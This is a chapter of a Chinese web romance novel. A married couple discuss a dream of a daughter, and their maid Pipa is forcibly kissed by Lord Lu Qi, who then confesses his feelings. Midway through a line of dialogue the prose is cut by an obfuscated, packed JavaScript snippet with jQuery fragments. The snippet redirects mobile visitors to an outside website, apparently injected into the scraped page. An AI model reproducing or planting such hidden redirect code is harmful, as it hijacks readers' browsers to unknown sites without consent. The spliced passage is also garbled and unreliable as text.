75. 心仪

作品:《心机美人

    天刚蒙蒙亮,街上就炸响了此起彼伏的鞭炮声。


    徐彦醒后并没有急着起床,而是侧躺着身子,眸光温柔地望着她甜美的睡颜。


    自打从长恩寺回来,他就知道她在试着对他敞开心扉。


    成亲之后她表现得温柔贤惠,可他看得出她始终藏着心事。他虽然焦灼忧虑,却还是耐心等到了她的坦诚。


    当她红着眼眶哽咽地说出前世的悲惨遭遇时,他的心中充满了愤怒和怜惜。


    他恨徐陵不懂珍惜,也心疼她被黄歆折辱,更懊恼自己出现得太晚,没能救下她。


    前世之说充满了奇幻色彩,无论是云笙,还是徐陵,甚至是薛藜,他们都先后梦见过前世,而他却无法窥见前尘。


    难道是他机缘不够吗?


    想到此处,他眉心一皱,眼底浮现出一丝沮丧。


    就在他失落之际,睡梦中的云笙毫无预兆地睁开了眼睛。


    见徐彦撑着头眸光幽深地凝视着自己,云笙唇角一弯,露出一抹甜美的笑容。


    “夫君……”她嗓音娇柔地唤着他,连眼底都带着笑意。


    “醒了?”他眸光一闪,敛去了眼底的暗色,伸出手轻轻地揉捏着她滑腻的脸颊。


    “嗯。”云笙唇角弯弯地笑着,眷恋地环住了他的腰。


    “可是做了什么美梦吗?一大早这么开心?”徐彦宠溺地望着她,墨色的瞳孔里清晰地倒映着她柔媚的面容。


    “的确是个美梦……”她抿唇一笑,语调轻快地说道,“我梦见我们的女儿了。”


    徐彦眸光一滞,唇边浮起了一抹浅淡的笑:“是吗?”


    “你不知道她有多娇软可爱……”她笑意渐深,眸中闪动着强烈的憧憬。


    “比你还可爱吗?”纤长的手指从颊上滑耳边,轻柔地捻动着她的耳垂。


    听着他打趣的话,云笙面上一热,娇嗔地睨了他一眼:“我跟你说真的,你怎么倒笑话我?”


    徐彦低声笑了起来:“好,我不笑,你接着说。”


    想起梦中那张玉雪可爱的脸,云笙的眸光越发温柔。


    “她一直抱着我叫娘亲,说她最喜欢的人就是我……”说着,她仰头看向徐彦,神色颇为认真。


    “我母亲也曾梦见过一个抱着桃子的女娃娃,不久之后就有了我。如今我也做了这样的梦,说不定咱们真会有个女儿。”


    望着她认真的眼神,徐彦眸光一转,笑着抚摸着她柔软的小腹。


    对上他含笑的眼神,云笙试探地问道:“夫君,你喜欢女儿吗?”


    “女儿乖巧,我自然喜欢。”


    比起调皮顽劣的男童,他自然更喜欢温柔娇软的女娃。


    见他眸光温润,云笙心口一热,欢喜地将头埋在他的怀中。


    徐彦轻轻抚摸着她散落的乌发,眸中满是柔情。


    天色已经大亮,街上的鞭炮声越来越响。恰好枇杷来敲门,徐彦低头吻了吻她的秀发,率先起了床。


    他穿好衣衫后,才嗓音低沉地对着门外唤道:“进来吧。”


    枇杷捧了热水来,他就自己去耳房洗漱了。


    “夫人,该起身了。”枇杷从衣柜里取出一件崭新的红色衣裙,神色恭谨地走到了床前。


    云笙缓缓坐起,却正巧瞥见了她眼底淡淡的青色,不禁疑惑问道:“你怎么了?可是昨晚没睡好?”


    见她问起此事,枇杷含糊地应道:“屋里有些冷,后半夜睡的不太好。”


    “没用炭盆吗?”云笙挑了挑眉,面上覆满疑虑。


    “炭烧完了,我忘了添。”枇杷尴尬地挠了挠头,眼底划过一抹转瞬即逝的心虚。


    穿好衣裙后,云笙忽然想起了昨晚的事。只见她眸光一敛,神色认真地看向枇杷。


    “你和陆大人……”


    不等她问完,枇杷就赶忙辨驳道:“我和他什么事都没有!”


    她说的太快,实在是有些欲盖弥彰。


    云笙眸光一紧,面上却柔和了几分。她拉着枇杷的手,语气柔缓地说道:“枇杷,你不用急着回答。如果你真的喜欢陆大人,我一定会想办法成全你。”


    见她眸光一闪,似是有些怔愣,云笙温声说道:“只是他身份太高,你若跟了他,日后受了委屈,我和三爷很难为你撑腰。”


    “夫人……”对上她温柔的眼神,枇杷喉咙一紧,感动之余又有些惶恐,“我……”


    此刻她心乱如麻,再也无法坚定地说自己不喜欢陆祈。她明知自己不该对他生出妄念,却还是被昨夜那个吻搅乱了心湖。


    看着她闪躲的目光,云笙轻柔地拍了拍她的手背:“等你想明白了再来告诉我。无论如何,我都会支持你的选择。”


    即便心里并不希望枇杷选择陆祈,可她仍会尊重枇杷的决定。


    “好!”枇杷喉咙一紧,艰难地应下了她的话。


    梳洗过后,紫英和紫月送来了丰盛的早膳,他们正温馨地吃着饭,管事忽然火急火燎地来到了门外。


    “三爷,侯府来人了,说是老夫人病了,请您回去一趟。”


    闻言,徐彦眉心一紧,立刻撂下筷子起身。“备车,我现在过去。”


    “是,我这就去安排。”


    管事领命而去后,徐彦转头看向云笙,眸中浮起一丝歉疚:“今日不能陪着你了,我得回去看看母亲。”


    “母亲的身体要紧,你快去吧。若是今日回不来,就让韩明使人来说一声。”


    对上她关切的眼神,徐彦眸光一动,眼底闪过一抹感激。


    “好。”


    他起身离开后,云笙喝了一口粥,意兴阑珊地搁下了筷子。


    “夫人,您再用一些吧,要不然一会儿就该饿了。”见她碗里的粥只喝了一半,枇杷忧心地劝说着。


    云笙却摇了摇头:“我不想吃了,都撤了吧。”


    紫英和紫月将早膳撤走后,云笙就抱着手炉懒懒地坐在榻上。


    枇杷坐在一旁打着络子,有一搭没一搭地与她闲聊。


    “听紫英说初五那日月老庙里会有一场盛事,说是有位道长要来给人看姻缘,她们几个都想凑热闹呢。”


    “你想去吗?”云笙歪着头,一脸戏谑地望着她。


    对上她打趣的眼神,枇杷面上一热,羞赧地摇了摇头:“我不想去。”


    “为什么?难道你不想去求姻缘?”


    “要是大伙儿都走了,谁来伺候夫人和三爷呢?”枇杷一脸正色地答道,眼底没流露出丝毫向往。


    “如今正在年节上,府里也没什么事。再说了,还有韩平他们在。你若想去,就和她们一道去吧。”


    云笙笑盈盈地望着她,眼底满是温柔。


    待嫁之龄的少女对自己的姻缘都怀着憧憬,枇杷自然也不会例外。没道理旁人都去了,只留她一个在家。


    “可那日月老庙定然是人山人海,就算去了也未必能挤进去,我还是不凑这个热闹了。”


    枇杷不甚在意地摇了摇头。姻缘天定,求不求,也都是那样。


    她们这些做丫鬟的就是再虔诚,也不会有多大的造化。


    运气好的,配个管事做正妻,便能过上丰裕的日子;运气差些的,嫁给小厮,勤勤恳恳伺候主子,多攒些银钱也能在乡下置办一间宅子。


    她没有什么远大的梦想,只盼着能寻个真心对她好的人,哪怕粗茶淡饭,她也甘之如饴。


    看着她淡然的神色,云笙若有所思地抿了抿唇。


    她不想去求姻缘,会不会是因为陆祈?


    就在她冥思之时,紫英着急忙慌地走了进来。


    “枇杷姐姐,那狸猫又跳到院子里来了,方才紫月想去抱它,却被它挠伤了。你快去看看吧!”


    对上她略显慌乱的眼神,枇杷打着络子的手一顿,面上满是惊疑:“紫月没事吧?”


    “没什么事,就是手背上破了皮。那猫儿也不知道怎么回事,今日凶悍得很。”


    闻言,枇杷眉心一紧,她撂下手中的丝线,赶忙站起身来。


    “夫人,我出去看看,一会儿就回来。”


    见枇杷匆匆离去,云笙眼底划过一丝好奇。她穿上鞋子,又拢好披风,这才跟着出去。


    院子里的花圃上,蹲着一只通体雪白的狸猫,那双明亮的棕色眼眸里充满了防备。


    然而枇杷走近时,它却乖巧地叫了一声:“喵呜……”


    “乖,别怕,我不会伤害你的。”枇杷神色温柔地向它伸出了手,顺着脖子抚摸着它柔软的毛发。


    先前还张牙舞爪的狸猫在她的抚触下渐渐安静下来。这时,枇杷才轻柔地将它抱在了怀里。


    看着狸猫温顺地躺在她的臂弯里,云笙的眼底闪过一抹疑思。


    狸猫本就傲娇不驯,只有饲养之人才能近它们的身。这猫如此亲近枇杷,倒真是有些神奇。


    “它有些怕生,轻易不让人抱的。往后你们见了它,就喊我一声。”枇杷一边抚着它的背,一边温柔地说着。


    “这猫倒是怪得很,咱们这院里只有姐姐能近它的身。”紫英唇角一弯,眼底流出淡淡的笑意。


    枇杷面上一热,颇有些尴尬地顿住了手。


    见云笙也若有所思地看着她,她眸光一闪,不自在地垂下眼睛。


    这时,韩平脚步匆忙地走进了内院。


    “夫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956977|151131||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,陆府的管事来找猫了。”


    闻言,云笙的目光再次落到那猫身上,见它瑟缩在枇杷怀里,她眸光一转,温声说道:“枇杷,你把猫给陆大人送去吧。”


    “是。”得了云笙的许可后,她立刻转过身去,抱着狸猫走出了后院。


    枇杷走后,云笙的眼底浮起了一抹淡淡的忧思。


    她既希望枇杷能够得偿所愿,又担心陆祈会伤害她。


    望着枇杷消失在院门外的身影,她吁出一口浊气,心中覆满了忧虑。


    徐府门外,春雷正焦灼地等待着。见枇杷抱着狸猫出现在眼前,他眉心一舒,暗暗松了口气。


    “枇杷姑娘,又要劳烦你送一趟了。”


    看着春雷眼底的无奈,枇杷犹豫了片刻,还是跟着他走进了陆府。


    即便是新年,陆府也仍旧是冷冷清清。幽深的庭院里只有一个洒扫的家丁,见枇杷抱着猫走来,他停下动作恭谨地站在了路边上。


    主院的房门半敞着,想到昨夜的际遇,枇杷犹豫了片刻,弯腰将猫放在了门前。


    狸猫跳进屋里后,她便打算转身离开。不成想,耳边却传来了陆祈喜怒不明的嗓音。


    “怎么不进来?”


    她脚步一顿,尴尬地抬起头来,却对上了一双幽深的眼眸。


    “我……夫人还等着我回去……”她心口一颤,慌忙避开了他的视线,随意找了个借口。


    看着她闪躲的眼神,陆祈眸光深沉地走到她面前。


    “你怕我?”


    对上他探究的眼神,枇杷瞳孔一震,无措地摇了摇头。


    “那你慌什么?”看着她眼底的惊惶,陆祈眸光一紧,渐渐朝她逼近。


    “我,我没慌……”心里像是揣了只兔子一样砰砰乱跳,震得她手足无措。偏偏陆祈越靠越近,让她更加局促不安。


    “真没慌?”


    望着那张距离自己只有几寸远的薄唇,枇杷不可抑制地想到了那个火热的亲吻,瞬间心虚地涨红了脸。


    “我还有事,我,我得回去了。”


    她按下心头的慌乱,下意识地想要逃跑,可她还没来得及转身,就被陆祈圈住了腰。


    “都想跑了还说不慌?”


    搂在腰上的手臂格外结实,她羞恼地挣扎着,他却搂得越来越紧,紧到她连呼吸都变得局促。


    “陆大人,你快松开……”她一心想着逃开,甚至忘了要斥责。


    陆祈没有回答,仍是高深莫测地望着她。


    感受着腰上逐渐收紧的手,枇杷仓惶地扬起头,羞恼地质问道:“你到底要干什么?”


    陆祈眸光一震,脑海中那个模糊的念头渐渐浮出了水面。


    幽深的眼眸瞬间变得透亮,他心口一热,毫不犹豫地吻住了那张殷红的唇瓣。


    日月昭昭,乾坤朗朗,他们还站在廊下,他竟然就敢强吻自己。枇杷又惊又羞,气恼地推搡着,却怎么也推不开他紧实的桎梏。


    无奈之下,她只能狠下心来,用力地咬破了他的嘴唇。


    浓重的血腥味在唇齿间化开,陆祈眉心一紧,错愕地松开了她。


    当他疑惑地看向枇杷时,却见她红了眼眶,眼角甚至泛起了一道泪光。


    “你不能这么欺负我!”


    若不是被他逼急了,她绝不敢开口咬人,更不敢当面控诉。


    昨夜的轻薄尚且可以归结于酒后失态,可此刻他如此清醒,这样不管不顾的亲吻怎么也找不到合理的解答。


    “我没有欺负你。”


    看着她委屈的泪眼,陆祈心口一紧,一股莫名的酸涩在胸腔里不住地翻腾。


    “你……”看着他平静的眼神,枇杷喉咙一哽,瞬间落下泪来。


    如果这都不算欺负,那什么才是?难道在他眼里自己就没有清白可言吗?


    见她无声垂泪,陆祈眸光一凝,面上生出了一丝罕见的慌张。“你别哭……”


    他越是这么说,枇杷心里就越是难过。


    心底的委屈和不安全都化作了泪水,滚烫焦灼且连绵不断。


    见她哭得梨花带雨,陆祈心口一滞,像是有一块无形的巨石重重地压在他心上。


    “你别哭了,我真的不是欺负你,我,我那是喜欢……”


    慌乱之下,这一句脱口而出的’喜欢’把他自己都震住了。


    可就在他想通心事、抬眸看向枇杷时,却见枇杷泪光一滞,悲伤地跑了出去。


    他想去追,可刚走出几步就顿住了。


    他这样毫无准备地追过去没有任何意义,反而会让事情更加失序。


    沉思片刻,他终究是叹息着走回了屋里。